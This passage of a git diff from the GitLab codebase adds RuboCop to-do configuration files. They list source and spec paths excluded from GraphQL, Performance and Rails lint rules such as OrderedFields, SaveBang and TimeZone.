+ - ee/app/workers/import_software_licenses_worker.rb
+ - ee/app/workers/ingress_modsecurity_counter_metrics_worker.rb
+ - ee/app/workers/iterations_update_status_worker.rb
+ - ee/app/workers/ldap_all_groups_sync_worker.rb
+ - ee/app/workers/ldap_group_sync_worker.rb
+ - ee/app/workers/ldap_sync_worker.rb
+ - ee/app/workers/merge_request_reset_approvals_worker.rb
+ - ee/app/workers/network_policy_metrics_worker.rb
+ - ee/app/workers/new_epic_worker.rb
+ - ee/app/workers/project_import_schedule_worker.rb
+ - ee/app/workers/project_template_export_worker.rb
+ - ee/app/workers/pseudonymizer_worker.rb
+ - ee/app/workers/refresh_license_compliance_checks_worker.rb
+ - ee/app/workers/repository_push_audit_event_worker.rb
+ - ee/app/workers/repository_update_mirror_worker.rb
+ - ee/app/workers/scan_security_report_secrets_worker.rb
+ - ee/app/workers/set_user_status_based_on_user_cap_setting_worker.rb
+ - ee/app/workers/store_security_reports_worker.rb
+ - ee/app/workers/store_security_scans_worker.rb
+ - ee/app/workers/sync_seat_link_request_worker.rb
+ - ee/app/workers/sync_seat_link_worker.rb
+ - ee/app/workers/sync_security_reports_to_report_approval_rules_worker.rb
+ - ee/app/workers/update_all_mirrors_worker.rb
+ - ee/app/workers/update_max_seats_used_for_gitlab_com_subscriptions_worker.rb
+ - ee/lib/gitlab/path_locks_finder.rb
+ - ee/spec/support/elastic_query_name_inspector.rb
+ - ee/spec/support/ssh_keygen.rb
+ - ee/spec/support/test_license.rb
+ - lib/carrier_wave_string_file.rb
+ - lib/csv_builder.rb
+ - lib/event_filter.rb
+ - lib/feature.rb
+ - lib/feature/definition.rb
+ - lib/feature/gitaly.rb
+ - lib/feature/logger.rb
+ - lib/feature/shared.rb
+ - lib/file_size_validator.rb
+ - lib/forever.rb
+ - lib/gitlab_danger.rb
+ - lib/learn_gitlab.rb
+ - lib/tasks/gitlab/graphql.rake
+ - lib/tasks/gitlab/seed/group_seed.rake
+ - lib/tasks/import.rake
+ - lib/tasks/tokens.rake
+ - lib/uploaded_file.rb
+ - lib/version_check.rb
+ - qa/spec/specs/helpers/quarantine_spec.rb
+ - spec/controllers/concerns/page_limiter_spec.rb
+ - spec/lib/bitbucket/collection_spec.rb
+ - spec/lib/gitlab/database/bulk_update_spec.rb
+ - spec/lib/gitlab/multi_destination_logger_spec.rb
+ - spec/lib/marginalia_spec.rb
+ - spec/mailers/notify_spec.rb
+ - spec/models/concerns/batch_destroy_dependent_associations_spec.rb
+ - spec/models/concerns/bulk_insertable_associations_spec.rb
+ - spec/models/concerns/triggerable_hooks_spec.rb
+ - spec/support/helpers/bare_repo_operations.rb
+ - spec/support/helpers/ci_artifact_metadata_generator.rb
+ - spec/support/helpers/fake_migration_classes.rb
+ - spec/support/helpers/fake_u2f_device.rb
+ - spec/support/helpers/fake_webauthn_device.rb
+ - spec/support/helpers/markdown_feature.rb
+ - spec/support/helpers/redis_without_keys.rb
+ - spec/support/helpers/require_migration.rb
+ - spec/support/inspect_squelch.rb
+ - spec/support/models/merge_request_without_merge_request_diff.rb
+ - spec/support/renameable_upload.rb
+ - spec/support/sidekiq_middleware.rb
+ - spec/tasks/gitlab/task_helpers_spec.rb
+ - spec/uploaders/object_storage_spec.rb
diff --git a/.rubocop_todo/graphql/argument_name.yml b/.rubocop_todo/graphql/argument_name.yml
new file mode 100644
index 00000000000..29d2ae7d4ae
--- /dev/null
+++ b/.rubocop_todo/graphql/argument_name.yml
@@ -0,0 +1,4 @@
+---
+GraphQL/ArgumentName:
+ Exclude:
+ - ee/app/graphql/mutations/audit_events/external_audit_event_destinations/update.rb
diff --git a/.rubocop_todo/graphql/field_definitions.yml b/.rubocop_todo/graphql/field_definitions.yml
new file mode 100644
index 00000000000..c6ca8674264
--- /dev/null
+++ b/.rubocop_todo/graphql/field_definitions.yml
@@ -0,0 +1,16 @@
+---
+GraphQL/FieldDefinitions:
+ Exclude:
+ - app/graphql/types/commit_type.rb
+ - app/graphql/types/group_type.rb
+ - app/graphql/types/issue_type.rb
+ - app/graphql/types/label_type.rb
+ - app/graphql/types/project_type.rb
+ - app/graphql/types/projects/topic_type.rb
+ - app/graphql/types/release_type.rb
+ - ee/app/graphql/types/ci/code_quality_degradation_type.rb
+ - ee/app/graphql/types/epic_type.rb
+ - ee/app/graphql/types/group_release_stats_type.rb
+ - ee/app/graphql/types/iteration_type.rb
+ - ee/app/graphql/types/requirements_management/requirement_type.rb
+ - ee/app/graphql/types/vulnerability_type.rb
diff --git a/.rubocop_todo/graphql/field_hash_key.yml b/.rubocop_todo/graphql/field_hash_key.yml
new file mode 100644
index 00000000000..806920e24f6
--- /dev/null
+++ b/.rubocop_todo/graphql/field_hash_key.yml
@@ -0,0 +1,7 @@
+---
+GraphQL/FieldHashKey:
+ Exclude:
+ - app/graphql/types/ci/config/job_type.rb
+ - app/graphql/types/ci/status_action_type.rb
+ - app/graphql/types/error_tracking/sentry_error_stack_trace_entry_type.rb
+ - app/graphql/types/packages/helm/dependency_type.rb
diff --git a/.rubocop_todo/graphql/field_method.yml b/.rubocop_todo/graphql/field_method.yml
new file mode 100644
index 00000000000..1cc4aa7e264
--- /dev/null
+++ b/.rubocop_todo/graphql/field_method.yml
@@ -0,0 +1,12 @@
+---
+GraphQL/FieldMethod:
+ Exclude:
+ - app/graphql/types/ci/job_type.rb
+ - app/graphql/types/merge_request_type.rb
+ - app/graphql/types/metrics/dashboards/annotation_type.rb
+ - app/graphql/types/packages/package_details_type.rb
+ - app/graphql/types/project_type.rb
+ - ee/app/graphql/types/dast/profile_type.rb
+ - ee/app/graphql/types/dast_site_validation_type.rb
+ - ee/app/graphql/types/group_release_stats_type.rb
+ - ee/app/graphql/types/incident_management/oncall_rotation_type.rb
diff --git a/.rubocop_todo/graphql/ordered_arguments.yml b/.rubocop_todo/graphql/ordered_arguments.yml
new file mode 100644
index 00000000000..a2df1315ee9
--- /dev/null
+++ b/.rubocop_todo/graphql/ordered_arguments.yml
@@ -0,0 +1,20 @@
+---
+GraphQL/OrderedArguments:
+ Exclude:
+ - app/graphql/resolvers/base_issues_resolver.rb
+ - app/graphql/resolvers/design_management/designs_resolver.rb
+ - app/graphql/resolvers/design_management/version/design_at_version_resolver.rb
+ - app/graphql/resolvers/design_management/version/designs_at_version_resolver.rb
+ - app/graphql/resolvers/design_management/version_in_collection_resolver.rb
+ - app/graphql/resolvers/group_milestones_resolver.rb
+ - app/graphql/resolvers/merge_requests_resolver.rb
+ - app/graphql/resolvers/paginated_tree_resolver.rb
+ - app/graphql/resolvers/tree_resolver.rb
+ - app/graphql/resolvers/users/groups_resolver.rb
+ - app/graphql/types/commit_action_type.rb
+ - app/graphql/types/diff_paths_input_type.rb
+ - app/graphql/types/issues/negated_issue_filter_input_type.rb
+ - app/graphql/types/jira_users_mapping_input_type.rb
+ - app/graphql/types/notes/diff_image_position_input_type.rb
+ - app/graphql/types/notes/diff_position_base_input_type.rb
+ - app/graphql/types/notes/diff_position_input_type.rb
diff --git a/.rubocop_todo/graphql/ordered_fields.yml b/.rubocop_todo/graphql/ordered_fields.yml
new file mode 100644
index 00000000000..4aa6a2e7793
--- /dev/null
+++ b/.rubocop_todo/graphql/ordered_fields.yml
@@ -0,0 +1,89 @@
+---
+GraphQL/OrderedFields:
+ Exclude:
+ - app/graphql/types/board_list_type.rb
+ - app/graphql/types/ci/analytics_type.rb
+ - app/graphql/types/ci/ci_cd_setting_type.rb
+ - app/graphql/types/ci/config/group_type.rb
+ - app/graphql/types/ci/config/job_type.rb
+ - app/graphql/types/ci/config/stage_type.rb
+ - app/graphql/types/ci/detailed_status_type.rb
+ - app/graphql/types/ci/group_type.rb
+ - app/graphql/types/ci/job_type.rb
+ - app/graphql/types/ci/runner_architecture_type.rb
+ - app/graphql/types/ci/runner_platform_type.rb
+ - app/graphql/types/ci/runner_type.rb
+ - app/graphql/types/ci/stage_type.rb
+ - app/graphql/types/ci/status_action_type.rb
+ - app/graphql/types/ci/template_type.rb
+ - app/graphql/types/commit_type.rb
+ - app/graphql/types/container_expiration_policy_type.rb
+ - app/graphql/types/container_repository_tag_type.rb
+ - app/graphql/types/container_repository_type.rb
+ - app/graphql/types/dependency_proxy/blob_type.rb
+ - app/graphql/types/dependency_proxy/image_ttl_group_policy_type.rb
+ - app/graphql/types/dependency_proxy/manifest_type.rb
+ - app/graphql/types/design_management/design_collection_type.rb
+ - app/graphql/types/diff_refs_type.rb
+ - app/graphql/types/diff_stats_summary_type.rb
+ - app/graphql/types/diff_stats_type.rb
+ - app/graphql/types/error_tracking/sentry_detailed_error_type.rb
+ - app/graphql/types/error_tracking/sentry_error_collection_type.rb
+ - app/graphql/types/error_tracking/sentry_error_frequency_type.rb
+ - app/graphql/types/error_tracking/sentry_error_stack_trace_context_type.rb
+ - app/graphql/types/error_tracking/sentry_error_stack_trace_entry_type.rb
+ - app/graphql/types/error_tracking/sentry_error_stack_trace_type.rb
+ - app/graphql/types/error_tracking/sentry_error_type.rb
+ - app/graphql/types/evidence_type.rb
+ - app/graphql/types/grafana_integration_type.rb
+ - app/graphql/types/issue_type.rb
+ - app/graphql/types/jira_import_type.rb
+ - app/graphql/types/jira_user_type.rb
+ - app/graphql/types/label_type.rb
+ - app/graphql/types/merge_request_type.rb
+ - app/graphql/types/metadata/kas_type.rb
+ - app/graphql/types/metadata_type.rb
+ - app/graphql/types/namespace/package_settings_type.rb
+ - app/graphql/types/namespace_type.rb
+ - app/graphql/types/notes/diff_position_type.rb
+ - app/graphql/types/notes/discussion_type.rb
+ - app/graphql/types/notes/note_type.rb
+ - app/graphql/types/packages/composer/json_type.rb
+ - app/graphql/types/packages/composer/metadatum_type.rb
+ - app/graphql/types/packages/conan/file_metadatum_type.rb
+ - app/graphql/types/packages/conan/metadatum_type.rb
+ - app/graphql/types/packages/helm/dependency_type.rb
+ - app/graphql/types/packages/helm/maintainer_type.rb
+ - app/graphql/types/packages/helm/metadata_type.rb
+ - app/graphql/types/packages/maven/metadatum_type.rb
+ - app/graphql/types/packages/nuget/metadatum_type.rb
+ - app/graphql/types/packages/package_dependency_link_type.rb
+ - app/graphql/types/packages/package_file_type.rb
+ - app/graphql/types/packages/package_tag_type.rb
+ - app/graphql/types/packages/package_type.rb
+ - app/graphql/types/project_statistics_type.rb
+ - app/graphql/types/project_type.rb
+ - app/graphql/types/projects/services/jira_project_type.rb
+ - app/graphql/types/release_asset_link_type.rb
+ - app/graphql/types/release_links_type.rb
+ - app/graphql/types/release_type.rb
+ - app/graphql/types/repository_type.rb
+ - app/graphql/types/root_storage_statistics_type.rb
+ - app/graphql/types/task_completion_status.rb
+ - app/graphql/types/tree/blob_type.rb
+ - app/graphql/types/tree/submodule_type.rb
+ - app/graphql/types/tree/tree_entry_type.rb
+ - app/graphql/types/user_callout_type.rb
+ - app/graphql/types/user_status_type.rb
+ - ee/app/graphql/types/analytics/devops_adoption/snapshot_type.rb
+ - ee/app/graphql/types/epic_descendant_count_type.rb
+ - ee/app/graphql/types/epic_descendant_weight_sum_type.rb
+ - ee/app/graphql/types/epic_health_status_type.rb
+ - ee/app/graphql/types/epic_type.rb
+ - ee/app/graphql/types/geo/geo_node_type.rb
+ - ee/app/graphql/types/requirements_management/requirement_states_count_type.rb
+ - ee/app/graphql/types/scan_execution_policy_type.rb
+ - ee/app/graphql/types/scan_type.rb
+ - ee/app/graphql/types/scanned_resource_type.rb
+ - ee/app/graphql/types/security_report_summary_section_type.rb
+ - ee/app/graphql/types/timebox_report_type.rb
diff --git a/.rubocop_todo/graphql/resolver_method_length.yml b/.rubocop_todo/graphql/resolver_method_length.yml
new file mode 100644
index 00000000000..6fd8d41c548
--- /dev/null
+++ b/.rubocop_todo/graphql/resolver_method_length.yml
@@ -0,0 +1,7 @@
+---
+GraphQL/ResolverMethodLength:
+ Exclude:
+ - app/graphql/types/ci/detailed_status_type.rb
+ - app/graphql/types/ci/runner_type.rb
+ - app/graphql/types/ci/stage_type.rb
+ - app/graphql/types/packages/package_type.rb
diff --git a/.rubocop_todo/performance/active_record_subtransaction_methods.yml b/.rubocop_todo/performance/active_record_subtransaction_methods.yml
new file mode 100644
index 00000000000..ada27f99eb9
--- /dev/null
+++ b/.rubocop_todo/performance/active_record_subtransaction_methods.yml
@@ -0,0 +1,62 @@
+---
+Performance/ActiveRecordSubtransactionMethods:
+ Exclude:
+ - app/controllers/clusters/clusters_controller.rb
+ - app/controllers/repositories/lfs_storage_controller.rb
+ - app/controllers/search_controller.rb
+ - app/models/application_record.rb
+ - app/models/ci/ref.rb
+ - app/models/container_repository.rb
+ - app/models/design_management/design_collection.rb
+ - app/models/error_tracking/error.rb
+ - app/models/external_pull_request.rb
+ - app/models/merge_request.rb
+ - app/models/plan.rb
+ - app/models/project.rb
+ - app/models/shard.rb
+ - app/models/x509_certificate.rb
+ - app/models/x509_commit_signature.rb
+ - app/models/x509_issuer.rb
+ - app/models/concerns/commit_signature.rb
+ - app/services/bulk_imports/relation_export_service.rb
+ - app/services/ci/update_build_state_service.rb
+ - app/services/event_create_service.rb
+ - app/services/groups/import_export/import_service.rb
+ - app/services/lfs/file_transformer.rb
+ - app/services/merge_requests/approval_service.rb
+ - app/services/namespaces/statistics_refresher_service.rb
+ - app/services/packages/rubygems/create_dependencies_service.rb
+ - app/services/packages/rubygems/metadata_extraction_service.rb
+ - app/services/projects/create_service.rb
+ - app/services/projects/lfs_pointers/lfs_download_service.rb
+ - app/services/service_desk_settings/update_service.rb
+ - app/services/service_ping/submit_service.rb
+ - app/services/terraform/remote_state_handler.rb
+ - app/workers/namespaces/schedule_aggregation_worker.rb
+ - app/workers/project_export_worker.rb
+ - db/migrate/20200212014653_rename_security_dashboard_feature_flag_to_instance_security_dashboard.rb
+ - db/post_migrate/20200214034836_remove_security_dashboard_feature_flag.rb
+ - db/post_migrate/20210824174615_prepare_ci_builds_metadata_and_ci_build_async_indexes.rb
+ - ee/app/models/ci/minutes/namespace_monthly_usage.rb
+ - ee/app/models/ci/minutes/project_monthly_usage.rb
+ - ee/app/models/concerns/deprecated_approvals_before_merge.rb
+ - ee/app/models/ee/iteration.rb
+ - ee/app/models/ee/plan.rb
+ - ee/app/models/elastic/index_setting.rb
+ - ee/app/models/gitlab_subscription.rb
+ - ee/app/models/software_license.rb
+ - ee/app/services/boards/user_preferences/update_service.rb
+ - ee/app/services/ci/minutes/update_project_and_namespace_usage_service.rb
+ - ee/app/services/ee/analytics/cycle_analytics/stages/base_service.rb
+ - ee/app/services/security/store_report_service.rb
+ - ee/app/services/security/store_scan_service.rb
+ - ee/app/workers/import_software_licenses_worker.rb
+ - ee/db/fixtures/production/027_plans.rb
+ - ee/lib/ee/gitlab/background_migration/migrate_approver_to_approval_rules.rb
+ - ee/lib/gitlab/elastic/indexer.rb
+ - lib/gitlab/ci/pipeline/seed/environment.rb
+ - lib/gitlab/ci/pipeline/seed/processable/resource_group.rb
+ - lib/gitlab/ci/trace/chunked_io.rb
+ - lib/gitlab/composer/cache.rb
+ - lib/gitlab/database/async_indexes/migration_helpers.rb
+ - lib/gitlab/issuables_count_for_state.rb
diff --git a/.rubocop_todo/performance/rubyzip.yml b/.rubocop_todo/performance/rubyzip.yml
new file mode 100644
index 00000000000..a0752fa51cd
--- /dev/null
+++ b/.rubocop_todo/performance/rubyzip.yml
@@ -0,0 +1,5 @@
+---
+Performance/Rubyzip:
+ Exclude:
+ - app/services/packages/nuget/metadata_extraction_service.rb
+ - lib/gitlab/ci/artifact_file_reader.rb
diff --git a/.rubocop_todo/rails/include_url_helper.yml b/.rubocop_todo/rails/include_url_helper.yml
new file mode 100644
index 00000000000..2dedba19c78
--- /dev/null
+++ b/.rubocop_todo/rails/include_url_helper.yml
@@ -0,0 +1,38 @@
+---
+Rails/IncludeUrlHelper:
+ Exclude:
+ - app/models/integrations/asana.rb
+ - app/models/integrations/bamboo.rb
+ - app/models/integrations/bugzilla.rb
+ - app/models/integrations/campfire.rb
+ - app/models/integrations/confluence.rb
+ - app/models/integrations/custom_issue_tracker.rb
+ - app/models/integrations/datadog.rb
+ - app/models/integrations/discord.rb
+ - app/models/integrations/ewm.rb
+ - app/models/integrations/external_wiki.rb
+ - app/models/integrations/flowdock.rb
+ - app/models/integrations/hangouts_chat.rb
+ - app/models/integrations/irker.rb
+ - app/models/integrations/jenkins.rb
+ - app/models/integrations/mattermost.rb
+ - app/models/integrations/pivotaltracker.rb
+ - app/models/integrations/redmine.rb
+ - app/models/integrations/webex_teams.rb
+ - app/models/integrations/youtrack.rb
+ - app/presenters/alert_management/alert_presenter.rb
+ - app/presenters/environment_presenter.rb
+ - app/presenters/gitlab/blame_presenter.rb
+ - app/presenters/merge_request_presenter.rb
+ - app/presenters/project_presenter.rb
+ - app/presenters/release_presenter.rb
+ - app/presenters/releases/evidence_presenter.rb
+ - ee/app/helpers/license_helper.rb
+ - ee/app/models/integrations/github.rb
+ - ee/spec/helpers/ee/projects/security/configuration_helper_spec.rb
+ - ee/spec/lib/banzai/filter/cross_project_issuable_information_filter_spec.rb
+ - spec/helpers/merge_requests_helper_spec.rb
+ - spec/helpers/nav/top_nav_helper_spec.rb
+ - spec/helpers/notify_helper_spec.rb
+ - spec/lib/banzai/filter/reference_redactor_filter_spec.rb
+ - spec/lib/banzai/reference_redactor_spec.rb
diff --git a/.rubocop_todo/rails/save_bang.yml b/.rubocop_todo/rails/save_bang.yml
new file mode 100644
index 00000000000..d7c9366d85b
--- /dev/null
+++ b/.rubocop_todo/rails/save_bang.yml
@@ -0,0 +1,98 @@
+---
+Rails/SaveBang:
+ Exclude:
+ - ee/spec/initializers/fog_google_https_private_urls_spec.rb
+ - ee/spec/lib/analytics/merge_request_metrics_calculator_spec.rb
+ - ee/spec/lib/gitlab/auth/ldap/access_spec.rb
+ - ee/spec/lib/gitlab/auth/o_auth/user_spec.rb
+ - ee/spec/lib/gitlab/auth/saml/user_spec.rb
+ - ee/spec/lib/gitlab/elastic/search_results_spec.rb
+ - ee/spec/lib/gitlab/email/handler/ee/service_desk_handler_spec.rb
+ - ee/spec/lib/gitlab/geo_spec.rb
+ - ee/spec/lib/gitlab/git_access_spec.rb
+ - ee/spec/lib/gitlab/import_export/group/relation_factory_spec.rb
+ - ee/spec/lib/gitlab/mirror_spec.rb
+ - ee/spec/models/application_setting_spec.rb
+ - ee/spec/models/approval_merge_request_rule_spec.rb
+ - ee/spec/models/approval_project_rule_spec.rb
+ - ee/spec/models/burndown_spec.rb
+ - ee/spec/models/elasticsearch_indexed_namespace_spec.rb
+ - ee/spec/models/gitlab_subscription_spec.rb
+ - ee/spec/models/issue_spec.rb
+ - ee/spec/models/protected_environment_spec.rb
+ - ee/spec/models/repository_spec.rb
+ - ee/spec/models/scim_identity_spec.rb
+ - ee/spec/models/scim_oauth_access_token_spec.rb
+ - ee/spec/models/upload_spec.rb
+ - ee/spec/models/user_preference_spec.rb
+ - ee/spec/models/visible_approvable_spec.rb
+ - ee/spec/models/vulnerabilities/feedback_spec.rb
+ - ee/spec/models/vulnerabilities/issue_link_spec.rb
+ - ee/spec/services/ee/merge_requests/update_service_spec.rb
+ - ee/spec/services/ee/notes/quick_actions_service_spec.rb
+ - ee/spec/services/ee/notification_service_spec.rb
+ - ee/spec/services/epic_links/create_service_spec.rb
+ - ee/spec/services/epics/close_service_spec.rb
+ - ee/spec/services/epics/issue_promote_service_spec.rb
+ - ee/spec/services/epics/reopen_service_spec.rb
+ - ee/spec/services/epics/tree_reorder_service_spec.rb
+ - ee/spec/services/epics/update_dates_service_spec.rb
+ - ee/spec/services/epics/update_service_spec.rb
+ - ee/spec/services/geo/blob_verification_secondary_service_spec.rb
+ - ee/spec/services/geo/files_expire_service_spec.rb
+ - ee/spec/services/geo/metrics_update_service_spec.rb
+ - ee/spec/services/geo/registry_consistency_service_spec.rb
+ - ee/spec/services/geo/repository_verification_secondary_service_spec.rb
+ - ee/spec/services/groups/autocomplete_service_spec.rb
+ - ee/spec/services/ldap_group_reset_service_spec.rb
+ - ee/spec/services/lfs/unlock_file_service_spec.rb
+ - ee/spec/services/merge_trains/refresh_merge_request_service_spec.rb
+ - ee/spec/services/quick_actions/interpret_service_spec.rb
+ - ee/spec/services/slash_commands/global_slack_handler_spec.rb
+ - ee/spec/services/start_pull_mirroring_service_spec.rb
+ - ee/spec/services/status_page/trigger_publish_service_spec.rb
+ - ee/spec/services/todo_service_spec.rb
+ - ee/spec/services/vulnerability_feedback/create_service_spec.rb
+ - spec/lib/backup/manager_spec.rb
+ - spec/lib/gitlab/alerting/alert_spec.rb
+ - spec/lib/gitlab/analytics/cycle_analytics/records_fetcher_spec.rb
+ - spec/lib/gitlab/auth/ldap/user_spec.rb
+ - spec/lib/gitlab/auth/o_auth/user_spec.rb
+ - spec/lib/gitlab/auth/saml/user_spec.rb
+ - spec/lib/gitlab/auth_spec.rb
+ - spec/lib/gitlab/authorized_keys_spec.rb
+ - spec/lib/gitlab/bitbucket_server_import/importer_spec.rb
+ - spec/lib/gitlab/cycle_analytics/base_event_fetcher_spec.rb
+ - spec/lib/gitlab/database/custom_structure_spec.rb
+ - spec/lib/gitlab/database/partitioning_migration_helpers/table_management_helpers_spec.rb
+ - spec/lib/gitlab/database_importers/self_monitoring/project/create_service_spec.rb
+ - spec/lib/gitlab/gfm/reference_rewriter_spec.rb
+ - spec/lib/gitlab/git_access_spec.rb
+ - spec/lib/gitlab/import_export/avatar_saver_spec.rb
+ - spec/lib/gitlab/import_export/base/relation_factory_spec.rb
+ - spec/lib/gitlab/import_export/design_repo_restorer_spec.rb
+ - spec/lib/gitlab/import_export/fast_hash_serializer_spec.rb
+ - spec/lib/gitlab/import_export/fork_spec.rb
+ - spec/lib/gitlab/import_export/group/legacy_tree_saver_spec.rb
+ - spec/lib/gitlab/import_export/group/relation_factory_spec.rb
+ - spec/lib/gitlab/import_export/group/tree_saver_spec.rb
+ - spec/lib/gitlab/import_export/importer_spec.rb
+ - spec/lib/gitlab/import_export/lfs_restorer_spec.rb
+ - spec/lib/gitlab/import_export/lfs_saver_spec.rb
+ - spec/lib/gitlab/import_export/members_mapper_spec.rb
+ - spec/lib/gitlab/import_export/project/relation_factory_spec.rb
+ - spec/lib/gitlab/import_export/project/tree_restorer_spec.rb
+ - spec/lib/gitlab/import_export/project/tree_saver_spec.rb
+ - spec/lib/gitlab/import_export/repo_restorer_spec.rb
+ - spec/lib/gitlab/import_export/saver_spec.rb
+ - spec/lib/gitlab/import_export/snippet_repo_restorer_spec.rb
+ - spec/lib/gitlab/import_export/snippet_repo_saver_spec.rb
+ - spec/lib/gitlab/import_export/snippets_repo_restorer_spec.rb
+ - spec/lib/gitlab/import_export/snippets_repo_saver_spec.rb
+ - spec/lib/gitlab/import_export/uploads_manager_spec.rb
+ - spec/lib/gitlab/import_export/uploads_saver_spec.rb
+ - spec/lib/gitlab/import_export/wiki_restorer_spec.rb
+ - spec/lib/gitlab/lets_encrypt/client_spec.rb
+ - spec/lib/gitlab/middleware/go_spec.rb
+ - spec/lib/gitlab/shard_health_cache_spec.rb
+ - spec/mailers/notify_spec.rb
diff --git a/.rubocop_todo/rails/time_zone.yml b/.rubocop_todo/rails/time_zone.yml
new file mode 100644
index 00000000000..0e2b036c312
--- /dev/null
+++ b/.rubocop_todo/rails/time_zone.yml
@@ -0,0 +1,154 @@
+---
+Rails/TimeZone:
+ Enabled: true
+ Exclude:
+ - lib/gitlab/popen.rb
+ - ee/lib/delay.rb
+ - ee/lib/gitlab/elastic/helper.rb
+ - ee/lib/gitlab/elastic/indexer.rb
+ - ee/lib/gitlab/geo/base_request.rb
+ - ee/lib/gitlab/geo/event_gap_tracking.rb
+ - ee/lib/gitlab/geo/log_cursor/events/design_repository_updated_event.rb
+ - ee/lib/gitlab/geo/log_cursor/events/repository_updated_event.rb
+ - ee/lib/gitlab/geo/log_cursor/logger.rb
+ - ee/lib/gitlab/geo/oauth/login_state.rb
+ - ee/lib/gitlab/prometheus/queries/cluster_query.rb
+ - ee/lib/gitlab/prometheus/queries/packet_flow_query.rb
+ - ee/spec/lib/ee/gitlab/checks/push_rules/commit_check_spec.rb
+ - ee/spec/lib/ee/gitlab/ci/pipeline/quota/job_activity_spec.rb
+ - ee/spec/lib/gitlab/analytics/cycle_analytics/data_collector_spec.rb
+ - ee/spec/lib/gitlab/analytics/cycle_analytics/summary/group/stage_summary_spec.rb
+ - ee/spec/lib/gitlab/analytics/cycle_analytics/summary/group/stage_time_summary_spec.rb
+ - ee/spec/lib/gitlab/auth/ldap/access_spec.rb
+ - ee/spec/lib/gitlab/auth/smartcard/san_extension_spec.rb
+ - ee/spec/lib/gitlab/auth/smartcard/session_spec.rb
+ - ee/spec/lib/gitlab/background_migration/fix_orphan_promoted_issues_spec.rb
+ - ee/spec/lib/gitlab/ci/pipeline/chain/limit/job_activity_spec.rb
+ - ee/spec/lib/gitlab/elastic/client_spec.rb
+ - ee/spec/lib/gitlab/geo/base_request_spec.rb
+ - ee/spec/lib/gitlab/geo/log_cursor/events/cache_invalidation_event_spec.rb
+ - ee/spec/lib/gitlab/geo/log_cursor/events/container_repository_updated_event_spec.rb
+ - ee/spec/lib/gitlab/geo/log_cursor/events/design_repository_updated_event_spec.rb
+ - ee/spec/lib/gitlab/geo/log_cursor/events/event_spec.rb
+ - ee/spec/lib/gitlab/geo/log_cursor/events/hashed_storage_attachments_event_spec.rb
+ - ee/spec/lib/gitlab/geo/log_cursor/events/hashed_storage_migrated_event_spec.rb
+ - ee/spec/lib/gitlab/geo/log_cursor/events/job_artifact_deleted_event_spec.rb
+ - ee/spec/lib/gitlab/geo/log_cursor/events/lfs_object_deleted_event_spec.rb
+ - ee/spec/lib/gitlab/geo/log_cursor/events/repositories_changed_event_spec.rb
+ - ee/spec/lib/gitlab/geo/log_cursor/events/repository_created_event_spec.rb
+ - ee/spec/lib/gitlab/geo/log_cursor/events/repository_deleted_event_spec.rb
+ - ee/spec/lib/gitlab/geo/log_cursor/events/repository_renamed_event_spec.rb
+ - ee/spec/lib/gitlab/geo/log_cursor/events/repository_updated_event_spec.rb
+ - ee/spec/lib/gitlab/geo/log_cursor/events/reset_checksum_event_spec.rb
+ - ee/spec/lib/gitlab/geo/log_cursor/logger_spec.rb
+ - ee/spec/lib/gitlab/git_access_spec.rb
+ - ee/spec/lib/gitlab/prometheus/queries/additional_metrics_deployment_query_spec.rb
+ - ee/spec/lib/gitlab/prometheus/queries/cluster_query_spec.rb
+ - ee/spec/lib/gitlab/prometheus/queries/packet_flow_query_spec.rb
+ - lib/api/helpers.rb
+ - lib/api/sidekiq_metrics.rb
+ - lib/backup/manager.rb
+ - lib/bitbucket_server/representation/base.rb
+ - lib/gitlab/auth/current_user_mode.rb
+ - lib/gitlab/auth/ldap/access.rb
+ - lib/gitlab/chaos.rb
+ - lib/gitlab/checks/timed_logger.rb
+ - lib/gitlab/ci/ansi2json/line.rb
+ - lib/gitlab/ci/pipeline/chain/sequence.rb
+ - lib/gitlab/ci/pipeline/duration.rb
+ - lib/gitlab/cycle_analytics/summary/deployment_frequency.rb
+ - lib/gitlab/database.rb
+ - lib/gitlab/external_authorization/access.rb
+ - lib/gitlab/external_authorization/cache.rb
+ - lib/gitlab/gitaly_client.rb
+ - lib/gitlab/gitaly_client/ref_service.rb
+ - lib/gitlab/github_import/representation.rb
+ - lib/gitlab/grape_logging/loggers/queue_duration_logger.rb
+ - lib/gitlab/health_checks/base_abstract_check.rb
+ - lib/gitlab/import_export.rb
+ - lib/gitlab/instrumentation/elasticsearch_transport.rb
+ - lib/gitlab/instrumentation/redis_interceptor.rb
+ - lib/gitlab/instrumentation_helper.rb
+ - lib/gitlab/kubernetes/helm/certificate.rb
+ - lib/gitlab/lfs_token.rb
+ - lib/gitlab/loop_helpers.rb
+ - lib/gitlab/phabricator_import/representation/task.rb
+ - lib/gitlab/prometheus/queries/additional_metrics_environment_query.rb
+ - lib/gitlab/prometheus/queries/matched_metric_query.rb
+ - lib/gitlab/prometheus_client.rb
+ - lib/gitlab/sherlock/transaction.rb
+ - lib/gitlab/task_helpers.rb
+ - lib/gitlab/x509/tag.rb
+ - lib/grafana/time_window.rb
+ - lib/json_web_token/token.rb
+ - lib/object_storage/direct_upload.rb
+ - lib/quality/seeders/issues.rb
+ - tooling/rspec_flaky/flaky_example.rb
+ - tooling/rspec_flaky/report.rb
+ - lib/tasks/gitlab/assets.rake
+ - lib/tasks/gitlab/backup.rake
+ - lib/tasks/gitlab/cleanup.rake
+ - lib/tasks/gitlab/list_repos.rake
+ - spec/lib/api/helpers_spec.rb
+ - spec/lib/gitlab/analytics/cycle_analytics/base_query_builder_spec.rb
+ - spec/lib/gitlab/app_json_logger_spec.rb
+ - spec/lib/gitlab/app_text_logger_spec.rb
+ - spec/lib/gitlab/auth/current_user_mode_spec.rb
+ - spec/lib/gitlab/background_migration/recalculate_project_authorizations_spec.rb
+ - spec/lib/gitlab/background_migration/wrongfully_confirmed_email_unconfirmer_spec.rb
+ - spec/lib/gitlab/bitbucket_import/importer_spec.rb
+ - spec/lib/gitlab/bitbucket_server_import/importer_spec.rb
+ - spec/lib/gitlab/checks/timed_logger_spec.rb
+ - spec/lib/gitlab/ci/cron_parser_spec.rb
+ - spec/lib/gitlab/cycle_analytics/stage_summary_spec.rb
+ - spec/lib/gitlab/cycle_analytics/usage_data_spec.rb
+ - spec/lib/gitlab/data_builder/note_spec.rb
+ - spec/lib/gitlab/database/background_migration_job_spec.rb
+ - spec/lib/gitlab/database_spec.rb
+ - spec/lib/gitlab/discussions_diff/file_collection_spec.rb
+ - spec/lib/gitlab/external_authorization/access_spec.rb
+ - spec/lib/gitlab/external_authorization/cache_spec.rb
+ - spec/lib/gitlab/external_authorization/logger_spec.rb
